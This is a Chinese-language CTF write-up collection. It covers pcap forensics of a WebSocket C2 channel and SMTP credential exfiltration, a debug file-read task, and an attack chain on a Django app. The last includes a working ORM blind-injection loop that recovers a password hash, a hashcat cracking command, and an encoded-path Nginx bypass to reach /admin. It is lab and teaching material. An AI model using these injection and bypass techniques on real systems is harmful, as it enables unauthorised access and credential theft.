eyJob3N0IjoiT1BTLVdTMzQiLCJ0b2tlbiI6IlVTQi0yNjAxLUs0Iiwic2VxIjoxfQ==解码:
{"host":"OPS-WS34","token":"USB-2601-K4","seq":1}flag{stage.device-tools.test_bootstrap.ps1}
flag{OrionCache_4_198.51.100.126_4}
flag{OPS-WS34_USB-2601-K4}一键复现脚本从原始 zip 开始解压、解析两个 pcap 并输出三个 flag。USB 抓包的链路层类型是 249,头部长度在帧内前两字节,网络侧是普通以太网,两者要分开处理:
def iter_pcap(path):
with open(path, "rb") as f:
gh = f.read(24)
endian = "<" if gh[:4] == b"\xd4\xc3\xb2\xa1" else ">"
linktype = struct.unpack(endian + "I", gh[20:24])[0]
while True:
ph = f.read(16)
if len(ph) < 16:
return
ts_sec, ts_usec, caplen, _ = struct.unpack(endian + "IIII", ph)
yield linktype, ts_sec + ts_usec / 1_000_000, f.read(caplen)WebSocket 控制信道
升级握手
TCP 会话统计发现一组 8080 端口连接,10.66.8.27:51808 -> 198.51.100.62:8080,流量里有 HTTP Upgrade 请求:
GET /connect/FIN-WS27 HTTP/1.1
Host: stream.msg-gateway.test:8080
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: SkFOMjYtRklOLVdTMjc=
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: ops-telemetry-v2服务端返回 101 Switching Protocols。服务信息是域名 stream.msg-gateway.test、IP 198.51.100.62、端口 8080。
帧的掩码解码
握手完成后服务端先发 hello 帧:
{"type":"hello","session":"S-260108-FW27-9C","interval":120}之后是命令帧:
{"type":"command","id":"C-17","action":"collect","path":"C:/Finance/Q1_supplier_list.csv"}客户端发往服务端的帧按协议要求必须带掩码。帧结构是 FIN 与 Opcode 一字节、掩码标志与长度一字节、四字节掩码键、掩码后的载荷。
长度字段的取值有个分支逻辑需要处理。低七位表示载荷长度,0 到 125 是直接值,126 表示后两字节是 16 位无符号长度,127 表示后八字节是 64 位长度。掩码标志是那一字节的最高位。解析代码:
def parse_ws_frame(buf, off=0):
b0, b1 = buf[off], buf[off + 1]
fin = b0 >> 7
opcode = b0 & 0x0F
masked = (b1 >> 7) & 1
length = b1 & 0x7F
cur = off + 2
if length == 126:
length = int.from_bytes(buf[cur:cur+2], "big")
cur += 2
elif length == 127:
length = int.from_bytes(buf[cur:cur+8], "big")
cur += 8
if masked:
mask = buf[cur:cur+4]
cur += 4
payload = bytes(p ^ mask[i % 4] for i, p in enumerate(buf[cur:cur+length]))
else:
payload = buf[cur:cur+length]
return fin, opcode, payload, cur + length掩码键每次帧都变,是发送方随机取的,解码时必须从当前帧头里取,不能复用上一帧的。掩码运算本身是循环异或,四字节键对载荷按位置取模使用。
本题三个客户端帧的 opcode 都是 0x1,即文本帧。服务端下发的帧没有掩码标志,符合协议里服务端到客户端不掩码的规定。方向判据可以直接当过滤器用:带掩码键的是客户端发出的帧。
客户端三帧分别是 inventory、result、credential:
{"type":"inventory","host":"FIN-WS27","user":"zhao.rui"}
{"type":"result","id":"C-17","name":"Q1_supplier_list.csv","sha256":"0f72c824b8fe24af748e7d04b6f8e2d8f90b84b9a69d9f3522644525790d1234"}
{"type":"credential","portal":"vault.ops.test","username":"zr-fin","password":"Ws27#Jan26"}账号 zr-fin,密码 Ws27#Jan26。
WebSocket 的掩码不是加密,只是防代理缓存混淆,任何拿到流的人都能解开。这一点在取证里意味着掩码帧不需要密钥协商过程,直接异或即可。
SMTP 外联与凭据窃取
定位主机
按协议与会话统计,流量主角集中在 10.26.1.147。可疑邮件外联目标是:
10.26.1.147 -> 203.0.113.25:587587 是 SMTP submission,区别于 25 端口的 relay,submission 要求客户端认证后才允许发信,这也是为什么后面能在流量里看到 AUTH 命令。端口选择本身就是一条线索,攻击者使用 submission 说明其掌握了有效账号,而不是在滥用开放中继。
主机名的确认走了三个来源。从以太网帧二层源地址统计该主机对应 MAC 为 02:26:01:47:aa:01,这个 MAC 的结构能看出是手工构造的,02 开头表示本地管理位,47 与 IP 尾部对应。SMTP 会话中客户端发送的 EHLO 参数是 Ops-Laptop-2601。邮件正文里也出现 adrian.santos \ OPS-LAPTOP-2601。
三个来源指向同一形态的字符串,题目要求主机名大写:
OPS-LAPTOP-2601单一来源判主机名有风险,EHLO 参数可以任意设置,正文引用也可能是伪造。MAC 的构造特征、EHLO 自报、正文引用三者一致时判定才算稳。
出口探测
DNS 查询里出现 api.networkedgecheck.test,返回 203.0.113.53。随后访问该域名的 HTTP 服务,响应体是一行 IP:
198.51.100.142这类出口 IP 探测的行为特征值得记。受害主机先解析一个业务上不相关的域名,然后立刻对该地址发起 HTTP 请求,请求路径只有根路径,响应体只有一个 IP 字符串。这是典型的出口地址发现动作,木马在回连前需要知道自己的公网出口以便上报。
域名里的 networkedgecheck 也在语义上配合了这个行为,但判定依据不应落在域名语义上,而应落在访问序列上:DNS 查询与紧随其后的根路径请求、响应体长度极短且内容为合法 IP。这三条放在一起才是识别依据。
出口探测域名和出口 IP 分别是这两个值。
认证与正文
SMTP 会话中的认证命令:
AUTH login c29jLmFsZXJ0QG1ldHJvZ3JpZHNlY3VyZS5pbw==
Qmx1ZSMyNjA=两行分别 base64 解码:
soc.alert@metrogridsecure.io
Blue#260DATA 阶段的邮件正文带 Content-Transfer-Encoding: base64,解码后是凭据审计内容:
Endpoint Credential Audit v01
Incident Notes
adrian.santos \ OPS-LAPTOP-2601里面两组 Web 凭据。实验登录站是 https://login.lab.net/account/challenge/password,用户 adrian.santos260@lab.net,密码 Lab#26!Rx。内部业务门户是 https://portal.blueharbor.net/,用户 adrian.santos,密码 Ops$Vault。
题目要求按实验登录站、内部业务门户的顺序提交两个密码:
Lab#26!Rx
Ops$Vault这道题的证据分三层:链路层 MAC 定位物理主机、应用层 EHLO 与正文确认主机名、DNS 加 HTTP 确认出口探测行为。三层证据指向同一台机器,主机名的判定才站得住。
云控调试取证
读取功能与路径
页面提供了文件读取功能,这是本题唯一的交互面。读取功能的参数形态决定了能不能跨目录,本题可以直接给相对路径读任意文件,不需要构造穿越。
按提示读三份报告。reports/service-health.log 给出运行账户 opsview 和框架 flask。reports/release-note.txt 给出应用路径 /app/app.py、模块路径 /usr/local/lib/python3.12/site-packages/flask/app.py、类名 Flask。页面侧栏同时显示 flask.app 和 Flask。
字段的归属
四个待拼字段分别来自不同位置,账户和框架名来自运行态报告,应用路径和模块路径来自版本说明,类名在侧栏直接可见。三份材料有交叠,flask 这个词在框架名和模块路径里都出现,拼的时候不能取错。
答案的形态是 flag{账户_模块.类_类_应用路径},其中模块与类之间用点连接,这一格式来自题面的格式描述。运行账户 opsview 说明服务以低权限专用账户运行,这个信息虽然不参与拼 flag,但能侧面确认该服务是独立部署的进程而非共享宿主的调试实例。
读取的边界
这类云控调试界面的文件读取功能通常会有目录白名单,本题没有做限制,三份报告都在 reports 目录下且路径直接可用。如果读取时返回的是 JSON 而非原始文本,注意字段名可能是 content 或 data,先看响应结构再取值。
flag{opsview_flask.app_Flask_/app/app.py}墨盾知识库:关系查询盲注到管理后台
公开接口的关系查询
公开接口:
POST /api/articles/
Content-Type: application/x-www-form-urlencoded
Cookie: MINGCHA_CTF_ChallengeGrant=...接口支持 Django ORM 风格的关系查询参数,形如 created_by__字段__lookup。先枚举关系字段能通到哪一层:
created_by__username
created_by__is_staff
created_by__is_superuser
created_by__password__startswith序列化输出里把 created_by 显示成了 author,这个字段名具有迷惑性。按 author 构造查询参数全部无效,换成真实的模型关系字段 created_by 之后才生效。遇到 ORM 盲注时,序列化器暴露的名字和数据库里的字段名经常不一致,必须回溯到模型层。
布尔差分
接口对条件成立与不成立返回不同内容,构成布尔预言机:
created_by__username=mira 命中
created_by__is_staff=true 命中确认高权限账户为 mira。用于逐字符提取密码的参数:
created_by__password__startswith密码哈希的逐字符恢复
从空串开始,每次追加一个可打印字符提交,响应变化说明前缀匹配:
import requests
CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-="
known = ""
while True:
for ch in CHARSET:
probe = known + ch
r = requests.post(url, data={"created_by__password__startswith": probe})
if marker in r.text:
known = probe
print(known)
break
else:
break这个循环里有两个实现细节影响成败。marker 的选取要基于不命中时的基线响应,先发一个必然不成立的前缀比如 zzzz,记录此时的响应特征,之后以此作为未命中的判据。如果直接拿命中特征做判断,接口在某些框架下的重定向或者空结果页可能误触发。
CHARSET 的顺序影响请求次数。Django 的密码格式串以算法名开头,前几轮按字母序很快能命中 p,但哈希主体部分字符分布接近均匀,平均每轮要试一半的字符集。整个哈希串约七十八字符,按平均三十二次试出一位估算,总请求量在两千五百次上下,串行跑需要控制并发避免触发限流。
最终得到 Django 密码哈希:
pbkdf2_sha256$$1000$$Q4m2r8KpL7vN1xZc$vszqU3TutJrj1PzhCKWOLW3buBW9qs2VNjoOurcs2jA=startswith 之所以能逐字符恢复,是因为 Django 的密码字段是定长格式串,哈希部分在冒号分隔的最后一段。前缀匹配的判定在数据库层完成,应用层只返回匹配与否,攻击者不需要看到哈希本身。
格式串的五段结构是算法、迭代次数、盐、哈希、空段,双美元符号之间的第二段 1000 就是迭代次数。这个数直接决定了后面 hashcat 的破解成本,Django 默认迭代从早期的一千次涨到如今的几十万次,本题沿用一千,等于把 PBKDF2 的抗暴力强度降了三个数量级。
哈希破解
保存为 hash.txt,用 Hashcat 破解:
hashcat -m 10000 hash.txt rockyou.txt模式 10000 对应 Django PBKDF2-SHA256。迭代次数只有一千,远低于 Django 当前默认值,字典攻击可在合理时间内跑完。rockyou 命中:
midnight1flag{midnight1}迭代次数低这件事本身就说明哈希的强度设置有问题,PBKDF2 的安全性一半在参数上。
Nginx 路径检查绕过
直接访问 /admin/ 会被 Nginx 拒绝:
403 Forbidden使用编码后的路径穿越:
/api/articles/..%2fadmin/login/Nginx 在这一层看到的是未解码的原始路径,不以 /admin/ 开头,放行。请求到达后端后,Django 会解码并规范化路径,实际路由到 /admin/login/。
用第二问的凭据 mira 和 midnight1 登录拿到 Django sessionid,再访问 Flag 管理页面:
/api/articles/..%2fadmin/app/flag/1/change/后端实际访问 /admin/app/flag/1/change/,页面中的只读字段:
LAB{midun_relationship_query_4c91}这道题的攻击链横跨三层。关系查询盲注拿到哈希,字典攻击拿到明文口令,编码路径穿越绕过前置访问控制进入后台。三层的衔接点是同一个后端应用对路径和查询参数的处理方式与前置代理不一致,攻击者只需要找到一个代理与后端理解不同的输入形式。
临时密码盲注
第一问按加权字符和的思路算出:
flag{weighted_charcode_sum_1000003_1_8}提交后格式判定不通过,算法名的具体表述与出题人预期有出入。这一题的细节资料不全,如实记录。
第二问在盲注过程中已泄露表名前缀 security_audit,结合恢复码字段:
flag{security_audit.recovery_key}